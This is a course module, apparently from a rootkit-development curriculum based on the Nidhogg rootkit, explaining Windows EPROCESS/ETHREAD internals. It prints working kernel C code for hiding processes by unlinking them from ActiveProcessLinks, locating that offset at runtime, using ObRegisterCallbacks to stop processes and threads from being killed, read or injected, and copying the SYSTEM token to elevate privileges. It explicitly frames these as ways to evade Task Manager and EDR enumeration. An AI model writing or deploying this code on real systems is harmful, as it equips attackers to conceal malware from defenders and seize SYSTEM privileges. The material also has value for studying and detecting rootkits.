Module 3: Process & Thread Manipulation
EPROCESS, ActiveProcessLinks, DKOM for process hiding, and kernel-level PID protection.
Module Objective
Understand how Windows represents processes and threads in kernel memory via EPROCESS and ETHREAD structures, how process enumeration works through the ActiveProcessLinks doubly-linked list, how Nidhogg hides processes using Direct Kernel Object Manipulation (DKOM), and how ObRegisterCallbacks provides handle-based process protection.
1. The EPROCESS Structure
Every running process on Windows is represented in kernel memory by an EPROCESS structure. This is a large, opaque structure (several kilobytes) maintained by the kernel. Key fields relevant to rootkit development:
C// Partial EPROCESS layout (offsets vary by Windows build)
// Use WinDbg: dt nt!_EPROCESS to see actual offsets
typedef struct _EPROCESS {
KPROCESS Pcb; // +0x000 Kernel process block
// ...
EX_PUSH_LOCK ProcessLock; // Process synchronization lock
// ...
HANDLE UniqueProcessId; // +0x440 (approx) The PID
LIST_ENTRY ActiveProcessLinks; // +0x448 (approx) Doubly-linked list
// ...
UCHAR ImageFileName[15]; // +0x5A8 (approx) Short name
// ...
TOKEN *Token; // Process token (security context)
// ...
} EPROCESS, *PEPROCESS;
Offset Volatility
EPROCESS field offsets change between Windows builds. An offset that works on Windows 10 21H2 may be different on Windows 11 23H2. Nidhogg handles this by either using documented kernel APIs to access fields (preferred) or by dynamically resolving offsets at runtime. Hardcoding offsets is fragile and a common source of BSODs.
2. ActiveProcessLinks: The Process List
All active processes are linked together through a doubly-linked list using the ActiveProcessLinks field of EPROCESS. This is a standard LIST_ENTRY structure:
C// LIST_ENTRY is the fundamental Windows kernel linked list node
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // Forward link (next entry)
struct _LIST_ENTRY *Blink; // Backward link (previous entry)
} LIST_ENTRY, *PLIST_ENTRY;
ActiveProcessLinks Doubly-Linked List
System (PID 4)
Flink →
smss.exe
← Blink | Flink →
csrss.exe
← Blink | Flink →
target.exe
← Blink
When user-mode tools call NtQuerySystemInformation(SystemProcessInformation) or higher-level APIs like EnumProcesses, CreateToolhelp32Snapshot, or Task Manager's process list, the kernel walks this linked list to enumerate all processes. If a process is not in the list, it is invisible to all these APIs.
3. DKOM: Direct Kernel Object Manipulation
DKOM is the technique of directly modifying kernel data structures to hide or alter process information. To hide a process, Nidhogg unlinks its EPROCESS from the ActiveProcessLinks list:
C// Nidhogg process hiding via DKOM
NTSTATUS HideProcess(ULONG pid) {
PEPROCESS targetProcess;
NTSTATUS status;
// 1. Get EPROCESS pointer from PID
status = PsLookupProcessByProcessId(
(HANDLE)(ULONG_PTR)pid,
&targetProcess
);
if (!NT_SUCCESS(status)) return status;
// 2. Get the ActiveProcessLinks field
// Offset must be determined for the current Windows build
PLIST_ENTRY activeLinks = (PLIST_ENTRY)(
(PUCHAR)targetProcess + ACTIVE_PROCESS_LINKS_OFFSET
);
// 3. Unlink from the doubly-linked list
// Previous->Flink = Current->Flink (skip over us going forward)
// Next->Blink = Current->Blink (skip over us going backward)
PLIST_ENTRY prevEntry = activeLinks->Blink;
PLIST_ENTRY nextEntry = activeLinks->Flink;
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
// 4. Point our links to ourselves (safety: prevents dangling pointers)
activeLinks->Flink = activeLinks;
activeLinks->Blink = activeLinks;
// 5. Dereference the process object
ObDereferenceObject(targetProcess);
return STATUS_SUCCESS;
}
Why the Process Still Runs
Unlinking from ActiveProcessLinks does not affect process scheduling. The Windows scheduler uses a different data structure — the KPROCESS thread list and the dispatcher ready queues. The process continues to execute normally; it is simply invisible to any code that enumerates processes by walking ActiveProcessLinks. This includes Task Manager, Process Explorer, tasklist.exe, and all user-mode EDR process enumeration.
4. Finding the ActiveProcessLinks Offset
Since the offset varies between Windows versions, Nidhogg needs a reliable way to find it. Common approaches:
| Method | How It Works | Reliability |
|---|---|---|
| Hardcoded Table | Maintain a table mapping Windows build numbers to known offsets | High for known builds, fails on unknown builds |
| PsGetProcessId Walk | Use PsGetProcessId (documented API) to find the UniqueProcessId offset, then calculate ActiveProcessLinks offset relative to it (immediately follows PID in all known builds) | High — leverages the stable relationship between adjacent fields |
| Signature Scanning | Scan the EPROCESS for known patterns (e.g., the PID value at a known location) | Moderate — can be fragile |
C// Dynamically finding ActiveProcessLinks offset
// ActiveProcessLinks immediately follows UniqueProcessId in EPROCESS
ULONG GetActiveProcessLinksOffset() {
PEPROCESS currentProcess = PsGetCurrentProcess();
HANDLE currentPid = PsGetCurrentProcessId();
// Scan EPROCESS for the PID value
PUCHAR processBase = (PUCHAR)currentProcess;
for (ULONG offset = 0; offset < 0x600; offset += sizeof(PVOID)) {
if (*(PHANDLE)(processBase + offset) == currentPid) {
// ActiveProcessLinks is at the next LIST_ENTRY after UniqueProcessId
return offset + sizeof(HANDLE); // PID is 8 bytes on x64
}
}
return 0; // Failed to find offset
}
5. The ETHREAD Structure
Each thread is represented by an ETHREAD structure, which contains the KTHREAD (scheduler state) and thread-specific information:
C// Partial ETHREAD layout (key fields)
typedef struct _ETHREAD {
KTHREAD Tcb; // +0x000 Kernel thread block (scheduling)
// ...
CLIENT_ID Cid; // Contains ProcessId + ThreadId
// ...
PEPROCESS ThreadsProcess; // Pointer back to owning EPROCESS
// ...
LIST_ENTRY ThreadListEntry; // Links all threads in a process
// ...
} ETHREAD, *PETHREAD;
Nidhogg can manipulate threads for operations like hiding specific threads or elevating thread privileges by replacing the thread's impersonation token.
6. Process Protection via ObRegisterCallbacks
Beyond hiding processes, Nidhogg can protect processes from being terminated or having their memory read. This uses ObRegisterCallbacks, a documented kernel API that registers pre- and post-operation callbacks for object handle operations:
C// Registering object callbacks for process protection
OB_CALLBACK_REGISTRATION callbackReg;
OB_OPERATION_REGISTRATION opReg[1];
// Set up operation registration for process handles
opReg[0].ObjectType = PsProcessType;
opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[0].PreOperation = PreOperationCallback; // Called BEFORE handle is created
opReg[0].PostOperation = NULL;
callbackReg.Version = OB_FLT_REGISTRATION_VERSION;
callbackReg.OperationRegistrationCount = 1;
callbackReg.OperationRegistration = opReg;
callbackReg.RegistrationContext = NULL;
// Altitude string determines callback ordering
RtlInitUnicodeString(&callbackReg.Altitude, L"321000");
PVOID registrationHandle;
NTSTATUS status = ObRegisterCallbacks(&callbackReg, ®istrationHandle);
7. Stripping Handle Access Rights
The pre-operation callback is where the actual protection happens. When any process tries to open a handle to a protected process, the callback fires and can strip dangerous access rights:
COB_PREOP_CALLBACK_STATUS PreOperationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION OperationInfo
) {
// Get the target process of the handle operation
PEPROCESS targetProcess = (PEPROCESS)OperationInfo->Object;
HANDLE targetPid = PsGetProcessId(targetProcess);
// Check if this PID is in our protected list
if (!IsProtectedProcess(targetPid))
return OB_PREOP_SUCCESS; // Not protected, allow normally
// Strip dangerous access rights from the handle
if (OperationInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_TERMINATE; // Can't terminate
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_VM_READ; // Can't read memory
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_VM_WRITE; // Can't write memory
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_VM_OPERATION; // Can't VirtualProtect
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~PROCESS_CREATE_THREAD; // Can't inject threads
}
return OB_PREOP_SUCCESS;
}
What This Achieves
| Stripped Right | What It Blocks |
|---|---|
PROCESS_TERMINATE | Prevents TerminateProcess — process cannot be killed |
PROCESS_VM_READ | Prevents ReadProcessMemory — memory scanners cannot read |
PROCESS_VM_WRITE | Prevents WriteProcessMemory — cannot inject into the process |
PROCESS_VM_OPERATION | Prevents VirtualProtectEx — cannot change memory protections |
PROCESS_CREATE_THREAD | Prevents CreateRemoteThread — cannot inject threads |
8. Thread Protection
The same ObRegisterCallbacks mechanism works for threads by using PsThreadType instead of PsProcessType:
C// Thread handle protection - strip THREAD_TERMINATE and THREAD_SUSPEND_RESUME
opReg[1].ObjectType = PsThreadType;
opReg[1].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[1].PreOperation = ThreadPreOperationCallback;
OB_PREOP_CALLBACK_STATUS ThreadPreOperationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION OperationInfo
) {
PETHREAD targetThread = (PETHREAD)OperationInfo->Object;
PEPROCESS ownerProcess = IoThreadToProcess(targetThread);
HANDLE ownerPid = PsGetProcessId(ownerProcess);
if (!IsProtectedProcess(ownerPid))
return OB_PREOP_SUCCESS;
if (OperationInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~THREAD_TERMINATE;
OperationInfo->Parameters->CreateHandleInformation
.DesiredAccess &= ~THREAD_SUSPEND_RESUME;
}
return OB_PREOP_SUCCESS;
}
9. Token Elevation
Nidhogg can elevate a process's privileges by replacing its token with the SYSTEM token. The token is a field in the EPROCESS that determines the security context of the process:
CNTSTATUS ElevateProcessToken(ULONG targetPid) {
PEPROCESS targetProcess, systemProcess;
// Get the System process (PID 4) - always has SYSTEM token
PsLookupProcessByProcessId((HANDLE)4, &systemProcess);
PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &targetProcess);
// The Token field is an EX_FAST_REF in EPROCESS
// Copy the System process token to the target process
ULONG tokenOffset = GetTokenOffset(); // Build-specific offset
*(PULONG_PTR)((PUCHAR)targetProcess + tokenOffset) =
*(PULONG_PTR)((PUCHAR)systemProcess + tokenOffset);
ObDereferenceObject(targetProcess);
ObDereferenceObject(systemProcess);
return STATUS_SUCCESS;
}
Token Reference Counting
The above is simplified. In practice, token replacement must handle reference counting properly. The old token must be dereferenced and the new token must be referenced to prevent use-after-free bugs. The EX_FAST_REF encoding (lowest 4 bits store a reference count cache) must also be handled correctly.
Knowledge Check
Q1: Why does unlinking an EPROCESS from ActiveProcessLinks not stop the process from running?
Q2: What does ObRegisterCallbacks allow Nidhogg to do for process protection?
Q3: Why is hardcoding EPROCESS field offsets dangerous?